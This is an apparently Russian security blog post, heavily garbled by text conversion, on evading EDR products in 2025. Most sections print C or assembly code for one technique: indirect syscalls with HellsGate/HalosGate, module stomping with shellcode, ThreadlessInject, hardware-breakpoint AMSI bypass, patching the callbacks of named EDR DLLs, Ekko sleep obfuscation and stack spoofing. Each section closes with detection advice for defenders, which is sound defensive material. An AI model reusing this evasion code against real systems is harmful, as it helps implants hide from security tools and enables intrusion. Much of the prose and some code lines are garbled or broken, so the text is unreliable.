[TpomBunyThH 06x0x EDR: Texnuku 2025
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Posted on 28 mapTa, 2026 by AkaTor

Kateropus: Red Team / Blue Team / Purple Team
YpoBens: Advanced
Astop: Aka Tor

BBeneHue

B mepBoii cTaThe MBI pa3oOpanu apxuTekTypy EDR u 6a30Brie TexHUKY 00X0fa. Temepb ugeEM
r1y0kKe — B TEXHUKHU, KOTOPHIE peasibHO paboTanu npoTuB coBpeMeHHBIXx EDR B 2025 ropy.
Kaxpmas TexHuKa pa3obpaHa ¢ no3uruu Red Team (kak aTakoBaTh) u Blue Team (kKak
OETEeKTUTh).

1. Indirect Syscalls — 06xox stack trace analysis

ITpo6nema direct syscalls

CospemenHble EDR anamu3upytort call stack mpu kaxgom syscall. Direct syscall octaBnser
I'PSA3HBIN CTEK — BBI30B UOET M3 HEU3BECTHOrO MoAaynsd, a He u3 ntdll.dll:

Direct syscall call stack (nanutcsa):
Ox00007FF6A1230044 - payload.exe!main < syscall orTcwopa,
nooo3puTenbHO

Jlerntumubin call stack:
Ox00007FFB1234ABCD - ntdll.dll!NtAllocateVirtualMemory
OX00007FFBOO11FFOO - kernel32.dll!VirtualAlloc
OX00007FF6A1230044 - program.exe!main



Pemenwue: Indirect Syscalls

BmecTto BrimonHeHust syscall u3 cBoero Kofia, Mbl IIpeIraeM (jmp) Ha HHCTPYKITUIO
syscall; ret BayTtpu camou ntdll.dl1l. Call stack BEITIAAUT TETUTUMHO.

; Indirect syscall — NtAllocateVirtualMemory

; War 1: Havtu apgpec umHCTpykuum "syscall; ret" BHyTpu ntdll
; War 2: MNogroToBUTb perncTpbl Kak ansa obbiyHOro syscall

; War 3: JMP Ha 3T0T apgpec BMecTo npsMoro syscall

get ssn and addr:
; Napcum ntdll B namaTtu, uweMm stub NtAllocateVirtualMemory
mov rax, [ntdll base]
; ... HaxoguMm Export Directory, uweM ¢yHKUUIO MO X3WY UMEHU
; ... uyutaeMm SSN (syscall number) u3 6aut: 4C 8B D1 B8 XX 00 00 00
; ... 3anoMuMHaeM apgpec uHCTpykuumm syscall (OF O5) BHyTpu 3TOro
stub

invoke indirect:

mov rl@, rcx ; NepBbiM apryMmeHT

mov eax, ssn ; syscall number (guHaMmyecku
HaWOEHHbIN)

jmp qword ptr [syscall addr] ; npbxokK B ntdlLU!NtXxx Ha

MHCTPYKuMi syscall
; return address yxe B cTeke -
CTeK YUCTbIK

HellsGate — guHamuyeckoe onpepenesue SSN

[Tpob6nema: HoMepa syscall (SSN) menstoTcs mexny Bepcusimu Windows. Hardcode —
HeHapmexkHo. HellsGate pemaert aT0, mapcsa ntdll.d1l1l B panTaiime:

// HellsGate: puHammnyeckoe onpepeneHue SSN
// Kaxpbim Nt-stub B ntdll umMeeT wabnoH:

// 4C 8B D1 mov rl0O, rcx
// B8 XX XX 00 00 mov eax, SSN < BOT Haw HoMep
// OF 05 syscall

// C3 ret



DWORD GetSSN(PVOID pFunctionAddress) {
PBYTE stub = (PBYTE)pFunctionAddress;

// TNpoBepseM 4T0 stub He XykHYT (nepBbie 6anTbl coBnapawT C
wabsioHOM)
if (stub[0] == 0x4C && stub[l] == Ox8B && stub[2] == OxD1 && /
mov rl@, rcx
stub[3] == 0xB8) {
mov eax, imm32
// SSN Haxoputca B 6amtax [4] u [5]
return *(DWORD*) (stub + 4);

}

return 0; // stub xykHyT, HyxeH fallback
}

// HalosGate: ecnu stub xykHyT (JMP BMecTO mov rl0,rcx),
// cMOTpuM Ha cocegHue stub'bl — mx SSN oTnuyaetcs Ha =1
DWORD GetSSN HalosGate(PVOID pFunctionAddress) {

PBYTE stub = (PBYTE)pFunctionAddress;

// Stub xykHyT? Wwem cocegHWW HEXYKHY TbIA
for (int 1 = 1; 1 < 500; i++) {
// TMpoBepsaeM stub Bbiwe (SSN = HanpgeHHbIn + 1)
PBYTE neighbor down = stub + (i * 32); // stub'sl ugyTt uepes
~32 6anta
if (neighbor down[0] == 0x4C && neighbor down[3] == 0xB8) {
return *(DWORD*) (neighbor down + 4) - i;
}
// TNpoBepsaeM stub Huxe (SSN = HavWpgeHHbIn - 1)
PBYTE neighbor up = stub - (i * 32);
if (neighbor up[0] == 0x4C && neighbor up[3] == 0xB8) {
return *(DWORD*) (neighbor up + 4) + 1i;
}
}

return 0;

/

//



Blue Team: getekT indirect syscalls

o ETW Threat Intelligence — kernel-level, Bumut onepamuu He3aBUCUMO OT criocoba
BEI30Ba

» Return address validation — mpoBepka uTo return address yka3rsiBaeT Ha UHCTPYKIIHUIO
nocne call, a He mocye jmp

» Unbacked memory execution — xop, Brr3sBatouuu indirect syscall, wacto
UCIonHsieTcs u3 naMmsatu 0e3 backing file

e HecranpapTHHe naTTepHH goctyna K ntdll — mapcunr Export Directory B panTaiime
OCTaBJISIET CIIETHI

2. Module Stomping — unbeKIusa 6e3 BrpgeneHuss RWX
IaMATH

ITpo6neMa KnacCH4eCKO#i HHBLEKITHH

Knaccuueckas uabeknusa: VirtualAllocEx (RWX) —» WriteProcessMemory -
CreateRemoteThread. EDR BunguT KaxXknwii 1miar. Beigenenue RWX maMsatu — r1aBHBIN red
flag.

Texuuka Module Stomping

BmecTo BhIIeIeHUS HOBOU MaMsTH — 3arpyxkaeM nerutTuMuyi DLL u nepe3anuceiBaeM €€
. text cekuuro 1I1€IIKOOOM:

// Module Stomping: 3arpy3ka nerutumHou DLL u nepe3anucb eé€ kKopga
// War 1: 3arpy3utb 6e306bugHyio DLL B Leneson npouecc
HMODULE hDecoy = LoadLibraryA("amsi.dll1"); // wnu nwbasa ppyras DLL

// War 2: Hanmtm .text cekuuw 3arpyxeHHou DLL
PIMAGE DOS HEADER dos = (PIMAGE DOS HEADER)hDecoy;
PIMAGE NT HEADERS nt = (PIMAGE NT HEADERS) ( (PBYTE)hDecoy +
dos->e lfanew);

PIMAGE SECTION HEADER section = IMAGE FIRST SECTION(nt);

PVOID textBase

(PBYTE)hDecoy + section->VirtualAddress;



DWORD textSize = section->Misc.VirtualSize;

// War 3: CMeHnTb npaBa Ha RW (He RWX — MeHee nopo3puTesibHO)
DWORD oldProtect;
VirtualProtect(textBase, textSize, PAGE READWRITE, &oldProtect);

// lWar 4: 3anucatb wennkog nosepx .text cekuuu
memcpy (textBase, shellcode, shellcodeSize);

// War 5: BepHyTb npaBa Ha RX (executable, Ho He writable)
VirtualProtect(textBase, textSize, PAGE EXECUTE READ, &oldProtect);

// lWar 6: Bbi3BaTb WeNAKOL — OH Tenepb "4YacTb" nermtmmHoum DLL
((void(*)())textBase)();

[ToueMy 9TO paboTaeT

 [Tamsats backed by a file (DLL na gucke) — He unbacked memory

e Het VirtualAllocEx ¢ RWX — HeT KpacHoro ¢iara

e [lTenIKOX UCIIONIHSETCS U3 afpEeCHOr0 IIPOCTPaHCTBa JIeTuTUMHOU DLL
 Call stack moka3riBaeT BEI30B U3 U3BECTHOTO MOAYJIS

Blue Team: getexT module stomping

* Private memory in image range — nocie nepe3anucu .text cexuus cCTaHOBUTCA private
(modified) BmecTo shared. 9to metekTupyetcsa depe3 NtQueryVirtualMemory c
MemoryMappedFilenameInformation

» CpaBHeHHe .text Ha QUCKe VS B IaMATH — pacxoxaeHue = stomping

» 3arpy3ka Hetunu4yHbX DLL — ecnu nporecc 3arpy3un DLL, KoTopyio 00BIYHO He
MCIIOJIb3yeT

» Sysmon Event ID 7 (Image Load) — KoppenupoBaTh C IOCIEAYIOLIeN TOA03PUTEIbHOU
aKTUBHOCTBHIO

3. ThreadlessInject — uEBeKIMA 63 CO3MaHUS IIOTOKA



ITpo6nema

CreateRemoteThread, NtCreateThreadEx, QueueUserAPC — Bce 3T MeTOMOLI CO3MAaHUA
notoka Tpurrepsar kernel callbacks (PsSetCreateThreadNotifyRoutine). EDR Bumut
KaXX[ObI HOBBIM IIOTOK.

TexHMKa: IePeXBaT CyLIeCTBYIOIIETro MOToOKa Yepe3 hook

BMecTo co3maHust HOBOTO IMTOTOKA — CTABUM XyK Ha (DYHKIIMIO, KOTOPYIO IIeJIeBO# MPoLecc
TOYHO BRI30BET caM. Korja mpoiecc BEI3BIBAET 9Ty (QYHKIMIO — BBITOIHSIETCS HAII MIeJIIKOI.

// ThreadlessInject: uMHbekuus 4yepe3 nepexsaT BbiI30Ba B LENEBOM npouecce
// KoHuent: xykaeM ¢yHKuuwo B ntdll uenesoro npouecca

// War 1: OTkpbiTb handle uenesoro npouecca
HANDLE hProcess = OpenProcess(PROCESS VM WRITE | PROCESS VM OPERATION,
FALSE, targetPID);

// lWar 2: BoibpaTb QyHKUMIO 0158 XYyKa

// HyXHa QyHKUMSA, KOTOPYW MNPOLECC PeryfnspHO Bbi3biBaeT

// Hanpumep: NtWaitForSingleObject, NtClose, Sleep

PVOID hookTarget = GetRemoteProcAddress(hProcess, "ntdll.dll",
“NtWaitForSingleObject");

// War 3: 3anucaTb TpaMrIvH
// TpaMnNuH: COXPaHWUTb PErucTpbl - Bbi3BaTb WENSKOA - BOCCTAHOBUTb
PErnucTpbl -
// BbINOMHUTb OPWUTrUHaNbHble GaWTbl - BEPHYTbCS
BYTE trampoline[] = {
// push registers
0x50, 0x51, 0x52, 0x53, 0x56, 0x57,
// sub rsp, 0x28 (shadow space)
0x48, 0x83, OxEC, 0x28,
// mov rax, shellcode addr
0x48, OxB8, 0x00, 0x00, 0x00, Ox00, Ox00, 0x00, Ox00, 0x00,
// call rax
OxFF, 0OxDO,
// add rsp, 0x28



0x48, 0x83, 0xC4, 0x28,

// pop registers

Ox5F, Ox5E, Ox5B, Ox5A, 0x59, 0x58,

// original bytes of hooked function

// ... (nepBbie N 6ant NtWaitForSingleObject)

// jmp back to original+N

OxFF, 0x25, 0x00, 0x00, 0x00, 0x00),

// addr to jump back

0x00, 0x00, Ox00, Ox00, 0x00, Ox00, Ox00, Ox00
b

// War 4: 3anucaTb WeNnKog + TPaMnauH B LENeBOM npouecc
// War 5: Mepe3anucatb Ha4vano NtWaitForSingleObject - jmp trampoline
// War 6: XpaTb — npouecc caM BhizoBeT NtWaitForSingleObject

// - BbIMOJIHUTCHA Hall WeNNKof

// - XYyK CHumaetcs (self-unhook)

// - OpUrMHanbHasa QyHKUMS npopaonxaeTt paboTy
[TpeuMymecTBa

» HeT co3manus notoka — PsSetCreateThreadNotifyRoutine He cpabaTriBaeT
e Her APC — NtQueueApcThread He BLI3BIBAETCS

« Self-unhook — mocre BHIIONHEHUS XYK CHUMAETCS, CJIENOB MUHUMYM

» PaboTaeT B KOHTEKCTE CYIIECTBYIOIIETO TOTOKA — BHITJISOUT JIETUTUMHO

Blue Team: getekT threadless injection

o ETW Threat Intelligence — WriteProcessMemory B .text cekmuio ntdll BugHO yepes
kernel ETW

« Integrity monitoring — nepruonudeckas npoBepKa nepBbX 6AUT KPUTHYECKUX DYHKIIUN
ntdll

» Cross-process write detection — ObRegisterCallbacks Bugut OpenProcess c
IIpaBaMu 3aIMKUCH

e Memory scanning — mouck TpaMIJIXHOB (push/pop + jmp nmatTepHsI) B .text cekuusax




4. Hardware Breakpoint Hooking — HeBUOUMEIE XyKHU

KoHuenTt

BmecTo software hooks (mepesanucek 6aiiT) UCIIOIb3YEM alllapaTHHIE OTIAN0YHbLIE PErHCTPH
(DR0O-DR3) CPU. OHu no3BONAIOT MOCTaBUTh A0 4 breakpoints, KOTOpeie He MOOUPUIIADPYIOT
KOJI B TAMSITH.

// Hardware Breakpoint Hook: nepexBat AmsiScanBuffer 6e3 natuuHra
namsaTu

// DRO-DR3: 4 annapaTHbix breakpoint peructpa

// DR7: ynpaBnswowun pernctp (BknwyeHue/Tun breakpoint)

BOOL SetHardwareBreakpoint(PVOID targetAddr, int drIndex) {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT DEBUG_REGISTERS;

HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);

// YcTaHoBuTb apgpec breakpoint B DRO
switch (drIndex) {
case 0: ctx.Dro
case 1: ctx.Drl = (DWORD64)targetAddr; break;
case 2: ctx.Dr2 = (DWORD64)targetAddr; break;
case 3: ctx.Dr3 (DWORD64 ) targetAddr; break;

(DWORD64) targetAddr; break;

}

// Bknwuntb breakpoint B DR7

// Bits 0,2,4,6 — local enable pna DRO-DR3

ctx.Dr7 |= (1 << (drIndex * 2)); // Tun: execution breakpoint (00)
// DR7 bits [16-17] pna DRO, [20-21] pna DR1, etc. // 00 = execute, 01
= write, 11 = read/write SetThreadContext(hThread, &ctx); // Tenepb
npu Bbi3oBe targetAddr npousoumpgetr EXCEPTION SINGLE STEP // Haw VEH
handler nepexsatuT ucknwyeHne return TRUE; } // Vectored Exception
Handler — Haw "xyk" LONG CALLBACK HookHandler (PEXCEPTION POINTERS
pExInfo) { if (pExInfo->ExceptionRecord->ExceptionCode ==
EXCEPTION SINGLE STEP) {



// TpoBepsdeM 4yTto breakpoint cpabotan Ha HaweM apgpece
if (pExInfo->ContextRecord->Rip ==
(DWORD64)amsiScanBufferAddr) {
// TNopMeHaeM pe3ynbTat: 3anuceiBaeM AMSI RESULT CLEAN B
napameTtp result
// 6-n apryMeHT AmsiScanBuffer — yka3aTenb Ha pe3ynbTaT
// B x64: 5-i v panee apryMmeHTbl Ha CcTeke
PDWORD pResult = (PDWORD) (pExInfo->ContextRecord->Rsp +

0x30);
*pResult = 0; // AMSI RESULT CLEAN
// TponyckaeM ¢yHKuuw — yctaHasnueaeMm RIP Ha ret
pExInfo->ContextRecord->Rip = ReturnAddress;
// Nnn: MeHnsem RAX Ha S OK u npbiraem Ha ret
pExInfo->ContextRecord->Rax = S 0OK;
return EXCEPTION CONTINUE EXECUTION;

}
}

return EXCEPTION CONTINUE SEARCH;
}

// YCTaHOBKa:
AddVectoredExceptionHandler(1l, HookHandler);
SetHardwareBreakpoint (amsiScanBufferAddr, 0);

[ToueMmy 3TO MOIIHO

» Hukakux Momudukamui naMaTu — .text cexuust amsi.dll He TpoHyTa

» Hook integrity checks uuuero He HaxomsiT — GaUTH HE U3MEHEHHI

» PaboTaet g AMSI, ETW, mio0b1x GyHKUIAN

e O0xopm VirtualProtect monutopunra — VirtualProtect He BbI3EIBaeTCS

OrpaHuyeHus

» Tonbko 4 breakpoint ognoBpemento (DR0-DR3)
» Paboraet per-thread — Hy:kHO CTaBUTh Ha KaXK/bIH ITOTOK
» EDR moxet unctuth debug-peructpst uepe3 SetThreadContext



Blue Team: getexT hardware breakpoint hooking

o MoruTopusr debug-peructpoB — nepuopudeckas nposepka DRO-DR3 uepes
GetThreadContext

» VEH registration — nerext Bri30B0B AddVectoredExceptionHandler

» NtSetContextThread — mouuTopusr ycraHoBku debug-peructpos yepe3s ETW

e Hekotoprie EDR npeBerTUBHO YUCTAT DR-PErucCTpH IIpu cTapTe Ipolecca

5. Callback Overwriting — Tuxoe youiictBo EDR

KoHuent

Bmecto ymanenus kernel callbacks (BYOVD, TpeOyeT ysi3BUMEIN OpaiiBep) —
nepe3anuckiBaeM callback-¢pyakrmmio EDR B user-mode, nogmensis e€ Ha ret. EDR-mpatiBep
BEI3BIBAeT callback, HO OH MTHOBEHHO BO3BpallaeTcs: 6e3 meiCTBUM.

// Callback overwriting B user-mode DLL areHTa EDR
// EDR DLL uHXeKTUTCs B Kaxgbih npouecc u comepxut callback-obpaboTumkm

// War 1: Hautm DLL areHTa EDR B npouecce

// W3BecTHble nMeHa: CrowdStrike — csagent.dll, SentinelOne —
InProcessClient64.dll

// Carbon Black — cbsensor.dll, Cortex XDR — cyinjct.dll

HMODULE hEdrDll = NULL;
MODULEENTRY32 me32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS SNAPMODULE,
GetCurrentProcessId());
while (Module32Next(hSnap, &me32)) {
// Wuem EDR DLL no uMMeHM uMnm no xXapaKTepHbM 3KCNoOpTaM
if (IsEdrModule(me32.szModule)) {
hEdrD1l1l = me32.hModule;
break;



// War 2: Hantu callback-¢yHkumm BHyTpm EDR DLL
// 0BbIYHO 3TO 3KCNOPTUPYEMblE (YHKLUUM WM MOXHO HAWUTKU MO NaTTepHaM

// War 3: MNepe3anucatb Ha4vano callback Ha "xor eax,eax; ret"
DWORD oldProtect;
VirtualProtect(callbackAddr, 3, PAGE READWRITE, &oldProtect);

BYTE patch[] = { 0x33, OxC0O, OxC3 }; // xor eax, eax; ret
memcpy (callbackAddr, patch, sizeof(patch));

VirtualProtect(callbackAddr, 3, oldProtect, &oldProtect);

// Tenepb npu cpabateiBaHun callback — ¢yHKuma cpa3y Bo3BpawaeT 0
// EDR "cnut" BHYTpM 3TOro npouecca

Blue Team: geTexkT callback overwriting

» Self-integrity checks — EDR pmonxeH nepuogudecku npoBepath cBou callback-
GbyHKIUH

» Tamper protection — PPL (Protected Process Light) nns EDR-aresTa

» Kernel-level heartbeat — npaiisep EDR mpoBepsieT uTo user-mode areHT XKUB U He
Moau(UIIpOBaH

» VirtualProtect MOHUTOPHHI — cMeHa mpaB Ha .text cekuuio EDR DLL

6. Sleep Obfuscation — mu@dposanne menNIKOma BO BpeMs
CHa

IIpo6nemMa

EDR nepuogrdecku CKaHAPYET ITaMsITh IPOIECCOB Ha Hanuuue mennkofga/beacon’os. Ecnu
C2 beacon cnur (Sleep) mexny callback’amMu — ero M0XKHO HAlTH B IAMSTH.

Texuuka

[Tepen Br130BOM Sleep — mmdppyem Bech beacon B mamsitu. ITociie npobyKoeHus —
pacmudpoBEiBaeM 00paTHO.



// Sleep Obfuscation: Ekko / Foliage / Cronos
// Beacon wuppyeTtca nepep CHOM, pacwuppoBbiBaeTCcs nNpu NpobyxpeHuu

// EKko: ucnonb3syet Timer Callbacks pns wupposaHua/pacumndppoBku
void EkkoSleep(DWORD sleepTime) {

CONTEXT ctxThread = {0};

CONTEXT ropGadget = {0};

// TeHepupyeM cnydauHbin knw4 pns XOR

BYTE key[16];

BCryptGenRandom(NULL, key, sizeof(key),
BCRYPT USE SYSTEM PREFERRED RNG);

// War 1: Co3paeM Timer Queue
HANDLE hTimerQueue = CreateTimerQueue();
HANDLE hTimerl, hTimer2, hTimer3, hTimer4, hTimer5;

// War 2: Uenouyka taumepoB (ROP chain yepe3 Timer Callbacks):

// Timer 1 (100ms): CoxpaHUTb KOHTEKCT TeKywero noToka
CreateTimerQueueTimer (&hTimerl, hTimerQueue,
(WAITORTIMERCALLBACK)NtContinue, &ctxThread, 100, 0, 0);

// Timer 2 (200ms): VirtualProtect(beacon, RW) — cpenatb writable
CreateTimerQueueTimer (&hTimer2, hTimerQueue,
(WAITORTIMERCALLBACK)VirtualProtect, &protectArgs RwW, 200, 0,
0);

// Timer 3 (300ms): SystemFunction032 — XOR-wudpoBaHne beacon B
namMs Ty
CreateTimerQueueTimer (&hTimer3, hTimerQueue,
(WAITORTIMERCALLBACK)SystemFunction032, &cryptArgs, 300, 0O,
0);

// Timer 4 (100ms + sleepTime): SystemFunction032 — pacwuuppoBkKa
CreateTimerQueueTimer(&hTimer4, hTimerQueue,
(WAITORTIMERCALLBACK)SystemFunction032, &cryptArgs, 100 +
sleepTime, 0, 0);



// Timer 5 (200ms + sleepTime): VirtualProtect(beacon, RX) —
BepHyTb executable
CreateTimerQueueTimer (&hTimer5, hTimerQueue,
(WAITORTIMERCALLBACK)VirtualProtect, &protectArgs RX, 200 +
sleepTime, 0, 0);

// lWlar 3: 3acbinaeM — beacon 3awnppoBaH B NaMATH
// Tlepuognyeckoe ckaHupoBaHue EDR BMOMT TONbKO Mycop
WaitForSingleObject(GetCurrentThread(), sleepTime + 500);

// War 4: Tawmepsl pacundpoBanu beacon n BoccTaHoBunm RX
// Beacon npoponxaet paboTty

}

// BapuaHT nonpowe: Foliage — 1o xe camMoe 4yepe3 APC BMecCcTO TauMepos
// Cronos — 4yepe3 Thread Pool callbacks

Blue Team: getekT sleep obfuscation

» Timer Queue monitoring — maccoBoe co3nanue TariMepos ¢ callback’amu Ha
VirtualProtect/SystemFunction032

» Flipping memory permissions — 6sicTpoe nepeknioyenrne RW < RX ogHOro peruona —
aHOMAaIUs

e Scanning mpu transition — ckaHupoOBaTh TaMATh B MOMeHT nepexoga RW-RX (moka
beacon pacmudppoBaH)

« Call stack analysis — Timer callbacks BbI3bIBatOTCS U3
ntdll!TppTimerpExecuteCallback — mogo3purensHsliii call chain

» BeaconEye / Hunt-Sleeping-Beacons — cnenuanu3upoBaHHBIE TYI3El I OETEKTa

7. Stack Spoofing — mogmena call stack

IIpo6nema

Iaxe c indirect syscalls u sleep obfuscation — EDR moxeT npoBeputs call stack crnsimero
IIOTOKa. Ecnu B cTeKe BUOHEI Mogo3puTenbHbie return address (unbacked memory,
HEW3BECTHHIE MOIYJIA) — aJlepT.



Texuuka: nmomMeHa return addresses B cTeke

// Stack Spoofing: nogMeHa return addresses nepepn Sleep
// Wpes: 3aMeHuTb peanbHble return address Ha NerMTUMHO BbIrnagsumMe

void SpoofCallStack() {
CONTEXT ctx;
RtlCaptureContext (&ctx);

// Mpontn no stack frames
PVOID stackFrames[64];
DWORD frameCount = RtlWalkFrameChain(stackFrames, 64, 0);

// CoxpaHUTb opuruHanbHble return addresses
for (int i = 0; i < frameCount; i++) {
savedFrames[i] = stackFrames[i];

}

// NogMeHuTb return addresses Ha agpeca BHYTpPU NerntumHbelx DLL

// Hanpumep: kernel32!BaseThreadInitThunk,
ntdll!RtlUserThreadStart

// 2T0 CO3paéT unnw3uw "HopManbHOro" crteka

// BapuwaHTt 1: Frame spoofing — nogMeHsieM RBP chain
// BapumaHTt 2: Full stack copy — konupyeM CTeK JIerUTUMHOIr0 MOTOKa

// Nocne npobyxpeHns — BOCCTaHaB/IMBAEM OpuUruHanbHble frames

}
HUHCTpYMEHTH

« CallStackSpoofer — nogmena call stack gns syscalls
» ThreadStackSpoofer — ouncTka/mogMeHa cTeka nepeq Sleep
o Unwinder — manunymnsanusg unwind info gnist meruTuMHOTO BUa CTEKA

Blue Team: getekT stack spoofing

» Unwind metadata validation — mpoBepka uTo return addresses coBmapatot ¢ .pdata/
unwind info mogyneu



» Frame pointer validation — RBP chain momxHa ObITh KOHCUCTEHTHOM

» Thread start address — npoBepka
NtQueryInformationThread(ThreadQuerySetWin32StartAddress)

» Gadget detection — return address yka3riBaeT Ha jmp rbx wam ret — 3to ragxer, a
He peasibHBIY KO

8. MaTpuIiia: IpOOBUHYTEE TEXHUKHU

Texnuka O6xomut HE o6xonut CJI0XHOCTB
Indirect Syscalls }}J)Sg;c};oo}{s + stack trace ETW-TI, kernel callbacks Medium
. Unbacked memory Private page detection, :
Module Stomping detection, VirtualAlloc RWX memory comparison Medium
. . Cross-process write .
ThreadlessInject Thread creation callbacks detection, ETW-TI High
: Memory integrity checks, = Debug register monitoring, :
HW Breakpoint Hook VirtualProtect monitoring VEH detection Medium
Callback Overwriting EDR user-mode monitoring Eﬁé‘cé ernel heartbeat, self- Medium
Sleep Obfuscation Memory scanning during T}mer mor}ltorlng, RW/RX High
sleep flip detection
: Call stack analysis of Unwind metadata .
R Y sleeping threads validation, frame checks High

9. PexoMeHnpauu

IIna Red Team

e Indirect syscalls — MuaUMYM [7151 1:000T0 CEPBE3HOrO TynKuTa B 2025

e Module Stomping + ThreadlessInject — kom060 fnst uHbeKIMYU 6€3 0CHOBHBIX [0C

» Sleep Obfuscation + Stack Spoofing — o6s13aTenbHO s long-running implants

e Hardware Breakpoint Hooks — st AMSI/ETW bypass 6e3 naTuyvHra naMsaTu

» TecTupy# Kaxayio TeXHUKY against koukpeTHoro EDR B 1abe — geTeKTH IOCTOSHHO
0OHOBIISIIOTCS



IIns Blue Team

o ETW Threat Intelligence — equHCTBEeHHBIN UCTOYHUK TEJIEMETPUU, KOTOPHIN He
o0xomuTcs U3 user-mode

e PPL pnns EDR-arenTa — 3auguta ot callback overwriting u DLL natyusra

» Periodic memory scanning — He TOJIbKO IIpY aJIJIOKAIUY, HO U TI0 TaliMepy (JI0BUT Sleep
obfuscation B MOMeHT paciuppoBKU)

» Debug register monitoring — yuctuts DRO-DR3 unu anepTuTth mpu uX H3MEHEHUN

» Private page detection — ctpanuis B muana3zone DLL monxkHbI ObITH Shared, He private

« HVCI + Credential Guard — ymensbiaet blast radius maxe npu ycmemrHom o6xoae

IInsg Purple Team

o Co3maiTe MaTPUITY IOKPBITHUS: OIS KAaXKOOW TEXHUKN — KaKUe NEeTEKTH eCTh, KaKue
OTCYTCTBYIOT

« [IpoBepsiiiTe HEe TOJBKO aJIePThl, HO U TEJIEeMETPHUI0 — BO3MOXKHO aHHEIE €CTh, HO
IIpaBUJIa He HAllMCAHE

e MITRE ATT&CK mapping: T1055.012 (Process Hollowing), T1574.001 (DLL Search
Order Hijacking), T1497.003 (Time-Based Evasion)

3akinoyeHue

O6xonm EDR B 2025 — 9T0 He ofgHa TeXHMKA, a KoOMOMHaIus: indirect syscalls mist BEI30BOB
anpa, module stomping ana pa3smenierusa koga, threadless injection gna 3amycka, hardware
breakpoints gns otkmiouenuss AMSI/ETW, sleep obfuscation mnst ckpeiTust beacon’a B
namsaTy, stack spoofing nns mackuposku call stack. Kaxmriit cioit 3aKpeiBaeT cl1aboCThb

IPEeIbIIYIIero.

Ins 3ammTHUKOB KimoueBol BriBoA: kernel-level renemerpust (ETW-TI, kernel callbacks)
OCTAETCS CaMbIM HafIEKHBIM UCTOUYHUKOM. User-mode komnoHeHTH EDR — 3T0 nmepBas
MUHUS, KoTopas Oynet oboimeHa. Bropas nmunus — kernel. TpeThst — moBeeHYeCcKas
aHaJIMTUKA U KOPPEeAIus COObITHH.

B cnenyomeii crathe: [IpakTudeckuit Red Team yoamep — cobupaeM Bce TEXHUKY B OOUH
pabouuii UMIIAHT C JeTalbHEIM pa30opoM Koza.



Ilucknernmep: Mareprai IpengocTaBiaeH HCK/IIOYHTEIbHO B 00pa30BaTe/IbHAIX [E/IAX /IS
crieqHajlCTOB [0 HHPOPMAIHOHHOH 0e301aCHOCTH. HCIoIp3yHTe M0/TyYeHHbIe 3HAHH A

TOJIPKO B paMKaX aBTOPH30BaHHOIO TECTHPOBAHHS Ha MPOHHKHOBEHHE H 3aII[HTEI
HHQPAaCTPYKTYPEL



